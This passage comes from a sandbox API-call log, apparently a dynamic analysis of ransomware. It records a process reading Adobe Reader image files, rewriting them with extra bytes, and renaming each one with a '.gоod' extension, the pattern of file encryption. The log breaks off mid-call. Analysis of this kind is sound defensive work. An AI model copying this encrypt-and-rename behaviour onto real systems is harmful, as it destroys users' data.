DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.gоod")) returned 1 [0234.244] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0234.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0234.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x3a409f8 | out: lpFileInformation=0x3a409f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3)) returned 1 [0234.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0234.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0234.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0234.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.754] GetFileType (hFile=0x82c) returned 0x1 [0234.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0234.754] GetFileType (hFile=0x82c) returned 0x1 [0234.754] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0xb3 [0234.754] ReadFile (in: hFile=0x82c, lpBuffer=0x3837a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3837a40*, lpNumberOfBytesRead=0x202ec278*=0xb3, lpOverlapped=0x0) returned 1 [0234.758] CloseHandle (hObject=0x82c) returned 1 [0234.785] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0234.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0234.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.786] GetFileType (hFile=0x82c) returned 0x1 [0234.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0234.787] GetFileType (hFile=0x82c) returned 0x1 [0234.787] WriteFile (in: hFile=0x82c, lpBuffer=0x38af318*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x38af318*, lpNumberOfBytesWritten=0x202ec188*=0xc0, lpOverlapped=0x0) returned 1 [0234.788] CloseHandle (hObject=0x82c) returned 1 [0234.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0234.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png.gоod", lpFilePart=0x0) returned 0x95 [0234.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0234.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x88281e4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0234.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0234.788] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_RHP.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_pattern_rhp.png.gоod")) returned 1 [0234.789] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0234.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0234.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x38b0770 | out: lpFileInformation=0x38b0770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004)) returned 1 [0234.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0234.790] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0234.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0234.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0235.022] GetFileType (hFile=0x834) returned 0x1 [0235.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0235.022] GetFileType (hFile=0x834) returned 0x1 [0235.022] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0235.442] ReadFile (in: hFile=0x834, lpBuffer=0x3847808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3847808*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0235.476] CloseHandle (hObject=0x834) returned 1 [0235.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0235.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0235.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0235.476] GetFileType (hFile=0x834) returned 0x1 [0235.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0235.477] GetFileType (hFile=0x834) returned 0x1 [0235.477] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x6004 [0235.477] WriteFile (in: hFile=0x834, lpBuffer=0x38c57b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x38c57b0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0235.477] CloseHandle (hObject=0x834) returned 1 [0235.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0235.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0235.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0235.487] GetFileType (hFile=0x834) returned 0x1 [0235.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0235.487] GetFileType (hFile=0x834) returned 0x1 [0235.487] ReadFile (in: hFile=0x834, lpBuffer=0x38c7b00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x38c7b00*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0236.162] CloseHandle (hObject=0x834) returned 1 [0236.162] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0236.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.162] GetFileType (hFile=0x834) returned 0x1 [0236.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.162] GetFileType (hFile=0x834) returned 0x1 [0236.162] WriteFile (in: hFile=0x834, lpBuffer=0x3773998*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3773998*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0236.163] CloseHandle (hObject=0x834) returned 1 [0236.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png", lpFilePart=0x0) returned 0x8c [0236.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.gоod", lpFilePart=0x0) returned 0x91 [0236.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0236.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x88f9f77a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6014)) returned 1 [0236.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0236.163] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\file_icons.png.gоod")) returned 1 [0236.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0236.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3ccda70 | out: lpFileInformation=0x3ccda70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f)) returned 1 [0236.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0236.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.165] GetFileType (hFile=0x834) returned 0x1 [0236.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.165] GetFileType (hFile=0x834) returned 0x1 [0236.165] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0236.165] ReadFile (in: hFile=0x834, lpBuffer=0x3ccdf78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3ccdf78*, lpNumberOfBytesRead=0x202ec318*=0xf7f, lpOverlapped=0x0) returned 1 [0236.167] CloseHandle (hObject=0x834) returned 1 [0236.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.167] GetFileType (hFile=0x834) returned 0x1 [0236.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.167] GetFileType (hFile=0x834) returned 0x1 [0236.167] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1f7f [0236.167] WriteFile (in: hFile=0x834, lpBuffer=0x3ccf3d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3ccf3d8*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0236.167] CloseHandle (hObject=0x834) returned 1 [0236.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.168] GetFileType (hFile=0x834) returned 0x1 [0236.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.168] GetFileType (hFile=0x834) returned 0x1 [0236.168] ReadFile (in: hFile=0x834, lpBuffer=0x3cd1710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3cd1710*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0236.643] CloseHandle (hObject=0x834) returned 1 [0236.643] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0236.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0236.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0236.644] GetFileType (hFile=0x834) returned 0x1 [0236.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0236.644] GetFileType (hFile=0x834) returned 0x1 [0236.644] WriteFile (in: hFile=0x834, lpBuffer=0x363dd58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x363dd58*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0236.644] CloseHandle (hObject=0x834) returned 1 [0236.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\icons.png", nBufferLength=0x105, 